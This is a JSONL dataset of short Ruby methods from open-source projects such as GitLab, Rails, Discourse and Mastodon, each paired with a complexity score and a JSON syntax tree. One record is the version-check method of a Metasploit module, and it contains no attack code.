{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/design_management/versions_resolver.rb","start_line":27,"raw_source":"def resolve(id: nil, sha: nil)\n        version = cutoff(id, sha)\n\n        raise_resource_not_available_error! 'cutoff not found' unless version.present?\n\n        if version == :unconstrained\n          find\n        else\n          find(earlier_or_equal_to: version)\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sha\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"cutoff\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\",{\"type\":\"str\",\"children\":[\"cutoff not found\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unconstrained\"]}]},{\"type\":\"send\",\"children\":[null,\"find\"]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"earlier_or_equal_to\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}]}","id":"fc139375-c137-42ec-b605-9e27a8bc4767"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/nav/top_nav_menu_item.rb","start_line":11,"raw_source":"def self.build(\n        id:, title:, active: false, icon: '', href: '', view: '',\n        css_class: nil, data: nil, partial: nil, component: nil\n      )\n        {\n          id: id,\n          type: :item,\n          title: title,\n          active: active,\n          icon: icon,\n          href: href,\n          view: view.to_s,\n          css_class: css_class,\n          data: data || { testid: 'menu-item-link', qa_title: title },\n          partial: partial,\n          component: component\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwarg\",\"children\":[\"title\"]},{\"type\":\"kwoptarg\",\"children\":[\"active\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"href\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"view\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"css_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"partial\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"component\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"lvar\",\"children\":[\"active\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"lvar\",\"children\":[\"icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"lvar\",\"children\":[\"href\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"lvar\",\"children\":[\"css_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"testid\"]},{\"type\":\"str\",\"children\":[\"menu-item-link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"qa_title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"lvar\",\"children\":[\"component\"]}]}]}]}","id":"8bf62520-6cc0-4716-84aa-df4438258aa5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/gtg/builder_test.rb","start_line":51,"raw_source":"def test_match_same_paths\n          table = tt %w{\n            /articles/new(.:format)\n            /articles/new(.:format)\n          }\n\n          sim = Simulator.new table\n\n          memos = sim.memos \"/articles/new\"\n          assert_equal 2, memos.length\n        end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_match_same_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[null,\"tt\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/articles/new(.:format)\"]},{\"type\":\"str\",\"children\":[\"/articles/new(.:format)\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sim\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Simulator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"memos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sim\"]},\"memos\",{\"type\":\"str\",\"children\":[\"/articles/new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memos\"]},\"length\"]}]}]}]}","id":"5b301a46-1b3f-4411-86a7-c2b27a098750"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20211231080958_add_category_to_reports.rb","start_line":17,"raw_source":"def down\n    safety_assured do\n      execute 'UPDATE reports SET action_taken = TRUE WHERE action_taken_at IS NOT NULL'\n      remove_column :reports, :category\n      change_table(:reports, bulk: true) do |t|\n        t.column :action_taken_at, :datetime\n        t.column :rule_ids, :bigint, array: true\n      end\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE reports SET action_taken = TRUE WHERE action_taken_at IS NOT NULL\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"reports\"]},{\"type\":\"sym\",\"children\":[\"category\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"reports\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"action_taken_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"rule_ids\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"c5dd2ed0-9eda-434f-968b-d615cf54b58b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/bulk_async_process.rb","start_line":36,"raw_source":"def process_shard(queue, shard)\n        in_lock(lock_key(queue, shard), ttl: LOCK_TTL, retries: LOCK_RETRIES, sleep_sec: LOCK_SLEEP_SECONDS) do\n          BulkProcessQueue.process!(queue, shard).tap do |records_count, failures_count|\n            log_extra_metadata_on_done(:records_count, records_count)\n            log_extra_metadata_on_done(:shard_number, shard)\n\n            re_enqueue_shard(queue, shard) if should_re_enqueue?(records_count, failures_count)\n          end\n        end\n      end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_shard\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]},{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_lock\",{\"type\":\"send\",\"children\":[null,\"lock_key\",{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"shard\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ttl\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_TTL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retries\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_RETRIES\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_sec\"]},{\"type\":\"const\",\"children\":[null,\"LOCK_SLEEP_SECONDS\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkProcessQueue\"]},\"process!\",{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"shard\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records_count\"]},{\"type\":\"arg\",\"children\":[\"failures_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"records_count\"]},{\"type\":\"lvar\",\"children\":[\"records_count\"]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"shard_number\"]},{\"type\":\"lvar\",\"children\":[\"shard\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_re_enqueue?\",{\"type\":\"lvar\",\"children\":[\"records_count\"]},{\"type\":\"lvar\",\"children\":[\"failures_count\"]}]},{\"type\":\"send\",\"children\":[null,\"re_enqueue_shard\",{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"shard\"]}]},null]}]}]}]}]}","id":"0b1c5bb2-9727-4b0e-b7a9-85ff012991c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/agent.rb","start_line":61,"raw_source":"def activity_event_deletion_cutoff\n      # Order is defined by the association\n      activity_events\n        .offset(ACTIVITY_EVENT_LIMIT - 1)\n        .pick(:recorded_at)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_event_deletion_cutoff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_events\"]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACTIVITY_EVENT_LIMIT\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"recorded_at\"]}]}]}","id":"a7091905-5106-4ed2-9637-c8fbeb22c11b"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":171,"raw_source":"def target_user\n    reactable_type == \"User\" ? reactable : reactable.user\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"target_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reactable_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"send\",\"children\":[null,\"reactable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reactable\"]},\"user\"]}]}]}","id":"7be944ed-2da5-45a2-b41c-020e034ab2b6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/direct_message_parser_service.rb","start_line":64,"raw_source":"def ensure_contacts\n    users.each do |key, user|\n      next if key == profile_id\n\n      find_or_create_contact(user)\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_contacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"profile_id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"find_or_create_contact\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"72127792-ea26-40d3-9670-fc943c257504"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_each_methods.rb","start_line":171,"raw_source":"def root_receiver(node)\n          receiver = node.receiver\n          if receiver&.receiver\n            root_receiver(receiver)\n          else\n            receiver\n          end\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"root_receiver\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"receiver\"]},{\"type\":\"send\",\"children\":[null,\"root_receiver\",{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"lvar\",\"children\":[\"receiver\"]}]}]}]}","id":"c867aa69-3e54-4f82-ac98-867fd0728243"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/routes_reloader.rb","start_line":46,"raw_source":"def updater\n        @updater ||= begin\n          dirs = @external_routes.each_with_object({}) do |dir, hash|\n            hash[dir.to_s] = %w(rb)\n          end\n\n          @file_watcher.new(paths, dirs) { reload! }\n        end\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"updater\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@updater\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dirs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@external_routes\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"to_s\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_watcher\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"paths\"]},{\"type\":\"lvar\",\"children\":[\"dirs\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"reload!\"]}]}]}]}]}","id":"f8ffd2bb-c3c2-4c3f-bc0a-da48d0e9b25a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/xenforo.rb","start_line":200,"raw_source":"def import_likes\n    puts \"\", \"importing likes\"\n    total_count =\n      mysql_query(\n        \"SELECT COUNT(*) AS count FROM #{TABLE_PREFIX}reaction_content WHERE content_type = 'post'\",\n      ).first[\n        \"count\"\n      ]\n    batches(BATCH_SIZE) do |offset|\n      results =\n        mysql_query(\n          \"SELECT reaction_id, content_id, reaction_user_id, reaction_date\n         FROM #{TABLE_PREFIX}reaction_content\n         WHERE content_type = 'post'\n         ORDER BY reaction_id\n         LIMIT #{BATCH_SIZE}\n         OFFSET #{offset};\",\n        )\n      break if results.size < 1\n      create_likes(results, total: total_count, offset: offset) do |row|\n        {\n          post_id: row[\"content_id\"],\n          user_id: row[\"reaction_user_id\"],\n          created_at: Time.zone.at(row[\"reaction_date\"]),\n        }\n      end\n    end\n  end","complexity_score":23.45,"ast_json":"{\"type\":\"def\",\"children\":[\"import_likes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing likes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(*) AS count FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"reaction_content WHERE content_type = 'post'\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT reaction_id, content_id, reaction_user_id, reaction_date\\n\"]},{\"type\":\"str\",\"children\":[\"         FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"reaction_content\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE content_type = 'post'\\n\"]},{\"type\":\"str\",\"children\":[\"         ORDER BY reaction_id\\n\"]},{\"type\":\"str\",\"children\":[\"         LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"         OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_likes\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reaction_user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reaction_date\"]}]}]}]}]}]}]}]}]}]}","id":"87a60428-a94b-4dba-a03c-06d56bf717e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/novell_servicedesk_rce.rb","start_line":94,"raw_source":"def check\n    version = get_version\n    if version <= 7.1 && version >= 6.5\n      return Exploit::CheckCode::Appears\n    elsif version > 7.1\n      return Exploit::CheckCode::Safe\n    else\n      return Exploit::CheckCode::Unknown\n    end\n  end","complexity_score":9.38,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"float\",\"children\":[7.1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"float\",\"children\":[6.5]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">\",{\"type\":\"float\",\"children\":[7.1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}]}","id":"f8cdefcf-5534-4327-b062-206620974492"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/topic_query_spec.rb","start_line":964,"raw_source":"def ids_in_order(order, descending = true)\n          TopicQuery\n            .new(admin, order: order, ascending: descending ? \"false\" : \"true\")\n            .list_latest\n            .topics\n            .map(&:id)\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ids_in_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"optarg\",\"children\":[\"descending\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicQuery\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"admin\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ascending\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descending\"]},{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]},\"list_latest\"]},\"topics\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"09bd0984-cc68-46de-875a-f82ead55dd71"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/provision/cloning.rb","start_line":17,"raw_source":"def prepare_for_clone_task\n    validate_dest_name\n\n    clone_options = {}\n    clone_options[:key_name]          = guest_access_key_pair.try(:name) if guest_access_key_pair\n    clone_options[:availability_zone] = dest_availability_zone.ems_ref   if dest_availability_zone\n\n    user_data = userdata_payload\n    clone_options[:user_data] = user_data if user_data.present?\n\n    clone_options\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_for_clone_task\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_dest_name\"]},{\"type\":\"lvasgn\",\"children\":[\"clone_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guest_access_key_pair\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clone_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"key_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guest_access_key_pair\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_availability_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clone_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"availability_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_availability_zone\"]},\"ems_ref\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_data\",{\"type\":\"send\",\"children\":[null,\"userdata_payload\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_data\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clone_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_data\"]},{\"type\":\"lvar\",\"children\":[\"user_data\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"clone_options\"]}]}]}","id":"85a43c7b-1724-4e9f-b94b-91db802e1f80"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":458,"raw_source":"def discontinued?\n      !!discontinue_on && discontinue_on <= Time.current\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"discontinued?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discontinue_on\"]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discontinue_on\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}","id":"10b7feaf-e0b7-4c0f-9e38-462f34a645ae"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/row_component.rb","start_line":43,"raw_source":"def level\n      model.last\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"last\"]}]}","id":"82a38dea-fa80-4a74-99c7-d54e374c8151"}
